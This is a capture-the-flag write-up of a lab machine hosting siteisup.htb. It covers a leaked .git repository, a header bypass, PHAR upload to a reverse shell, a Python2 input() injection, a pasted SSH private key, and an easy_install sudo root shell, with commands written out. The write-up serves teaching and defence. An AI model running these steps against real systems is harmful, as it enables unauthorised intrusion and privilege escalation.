Summary
A .git repository was exposed on the public-facing website. By examining it, the web application’s architecture could be understood, including the way to open sub-path: dev. The file upload functionality did not restrict the .phar extension, and proc_open was not included in disable_functions, allowing a shell to be obtained via PHAR deserialization. From there, an SUID ELF binary (siteisup) owned by a higher-privileged user was found to be executable. This binary was vulnerable to Python2’s input() behavior (which evaluates input as a Python expression), allowing code execution as that user. For privilege escalation to root, easy_install could be executed via passwordless sudo, which is a well-known method of obtaining a root shell.
Recommendations
Assuming this were a real-world environment, I would recommend the following:
- The
.gitrepository should never have been exposed on the public website. - No unnecessary or hidden sub-paths/directories should have been accessible.
- The
.pharextension should have been included in the upload restriction list. -
proc_openshould have been added todisable_functions. - Python2 should no longer be used, as it has reached end-of-life and contains unsafe behaviors such as this
input()issue. -
easy_installshould not be executable via passwordlesssudo— if sudo access is required at all, it should be limited and password-protected.
Reconnaissance
First of all, let's recon the machine using nmap.
sudo nmap -sS -Pn -p- --open -n --min-rate 5000 -oA scan_all 10.129.52.117
ports=$(grep -oP '\d+/open' scan_all.gnmap | cut -d/ -f1 | paste -sd,)
sudo nmap -sS -Pn -p "$ports" -A -oN scan_deep.txt 10.129.52.117
22(SSH) and 80(HTTP) are open. So, this machine is running Linux.
sudo nmap -sU -Pn --top-ports 100 -oN scan_udp.txt 10.129.52.117
No interesting UDP.
Let' open the 80 in the browser.
http://10.129.52.117/
A domain name is on the page: siteisup.htb.
Add the mapping between the IP address and the hostname to /etc/hosts.
echo "10.129.52.117 siteisup.htb" | sudo tee -a /etc/hosts
Let's open the page again using the domain.
http://siteisup.htb/
The site seems to check whether the website we enter is running or not.
Enumeration
Let's enumerate pages that this site has.
feroxbuster -u http://siteisup.htb -w /usr/share/wordlists/dirb/common.txt -x php,html,txt,bak
There is a git repository.
Let's take it all.
git-dumper http://siteisup.htb/dev/.git/ ./loot
Let's see the logs.
git -c safe.directory='*' log --oneline --all
It seems no password or credentials.
Back to the website. Let’s start sub-domain enumeration.
ffuf -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt:FUZZ -u http://siteisup.htb/ -H 'Host: FUZZ.siteisup.htb' -fs 1131
We found the subdomain dev.
Add dev to /etc/hosts.
echo "10.129.52.117 siteisup.htb dev.siteisup.htb" | sudo tee -a /etc/hosts
Exploitation
Let's open the page: dev.siteisup.htb.
Forbidden...
Going back to the git logs, there is an .htaccess file that will give us a clue as to why it’s forbidden.
git -c safe.directory='*' show bc4ba79
Adding the header Special-Dev: only4dev will bypass the restriction.
Let's add the header value using Burp Suite.
Let's open the page again.
http://dev.siteisup.htb
The site is up! It has a file upload function.
According to the file (checker.php) we obtained earlier via git-dumper, this function blocks certain extensions so that PHP files cannot be uploaded.
Also, it states that a correct file will be uploaded to the uploads directory.
Next, according to index.php, it includes a PHP file specified via the GET parameter page.
The forbidden extensions don’t include .phar, which stands for PHP archive — a format that can be used to bypass the upload filter.
Let's make a php file that shows phpinfo().
echo '<?php phpinfo(); ?>
http://10.10.17.153:8000' > php-info.php
I added http://10.10.17.153:8000 because an article said the file won’t be deleted as long as Kali is listening on the port indicated. However, it’s not working.
Make .phar file.
zip payload.phar php-info.php
Upload the file.
Then, a new file appears in the uploads directory.
Let's open the file via the GET parameter: page.
http://dev.siteisup.htb/?page=phar://uploads/04f00185c2921425e8e3da99b1a8334e/payload.phar/php-info
It opens!
This PHP configuration disables common RCE functions such as system, exec, and shell_exec.
After checking some writeups, I understand that there is still a command that can be used for RCE.
https://gist.github.com/mccabe615/b0907514d34b2de088c4996933ea1720
proc_open is not included in the disable_function.
The following site shows us a way to get a reverse shell using proc_open.
https://gist.github.com/simran-sankhala/d94bc4e42fee5158395d189ec39ecac4
Same as before:
- Make a file as shown
- Generate a
.pharfile from the PHP file - Upload the file
- Open it via the GET parameter:
page
The shell obtained!
However, we cannot reach the user.txt.
Let’s stabilize the shell.
python3 -c 'import pty;pty.spawn("/bin/bash")'
Search the entire system for executable files with the SUID bit set.
find / -perm -u=s -type f 2>/dev/null
/home/developer/dev/siteisup seems interesting.
file /home/developer/dev/siteisup
It's an ELF binary file.
Let’s execute it and see how it behaves.
It uses /home/developer/dev/siteisup_test.py.
The print function doesn’t use parentheses, which suggests this is a Python2 script.
Also, unlike Python3, Python2’s input() evaluates the entered string as a Python expression before returning it.
So, let’s input __import__('os').system('id') to see if there is a vulnerability.
There is!
Let's make a shell via __import__('os').system('/bin/bash').
We get shell of developer!
However, we still cannot get user.txt...
Checking the id, we notice the gid is still www-data.
Searching for other clues, there is id_rsa of developer.
Let's use it to login through ssh.
echo '-----BEGIN OPENSSH PRIVATE KEY-----
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
-----END OPENSSH PRIVATE KEY-----' > id_rsa
chmod 600 id_rsa
ssh developer@siteisup.htb -i id_rsa
cat /home/developer/user.txt
We get it!
Privilege Escalation
First, let's see sudo -l.
/usr/local/bin/easy_install seems interesting.
According to GTFOBins, the following method gives us a root shell directly in the current terminal.
https://gtfobins.org/gtfobins/easy_install/
mkdir /tmp/evil
cd /tmp/evil
echo 'import os; os.system("exec /bin/sh </dev/tty >/dev/tty 2>/dev/tty")' >setup.py
sudo /usr/local/bin/easy_install .
We get it!
Lessons Learned
Two approaches to subdomain enumeration
1. Sub-domain Fuzzing — looks for names that actually exist in DNS (a DNS-level lookup)
ffuf -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt:FUZZ -u http://FUZZ.{{DOMAIN}}/
2. VHost Fuzzing — when the name isn’t registered in DNS, send different candidate names directly in the Host header and look for the one that returns a different response. This is the approach to use on environments like HTB.
ffuf -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt:FUZZ -u http://{{DOMAIN}}/ -H 'Host: FUZZ.{{DOMAIN}}' -fs xxx
Wordlist containing .git
I should have used feroxbuster with a wordlist that includes .git. I initially used DirBuster-2007_directory-list-2.3-medium.txt, but since it didn’t contain .git, I switched to /usr/share/wordlists/dirb/common.txt.
PHAR (PHP Archive
PHAR is a format that bundles multiple PHP files (classes, code, resources, etc.) into a single archive file. When a file is accessed through the phar:// wrapper, PHP automatically deserializes the metadata embedded in that file. This wrapper is used to access the contents of a compressed archive once the file has been uploaded.
?page=phar://uploads/{md5_value}/payload.phar/hello
ELF Binaries
ELF (Executable and Linkable Format) is the standard executable file format used on Linux/Unix systems — equivalent to .exe (PE format) on Windows. ELF binaries are relevant in several ways: they’re common reverse engineering targets (analyzed with tools like. strings), SUID-enabled ELF binaries are a frequent privilege escalation target.
Python-related vulnerabilities
-
Python2’s
input(): Unlike Python3, Python2’sinput()evaluates the entered string as a Python expression (equivalent toeval(raw_input())), allowing arbitrary code execution if user input is passed directly to it. -
eval()injection: When user input is passed intoeval(), arbitrary Python code can be injected — often using__import__('os').system(...)to bypass restrictions on directimportstatements. - Reference: https://hacktricks.wiki/generic-methodologies-and-resources/python/bypass-python-sandboxes/
















































Top comments (0)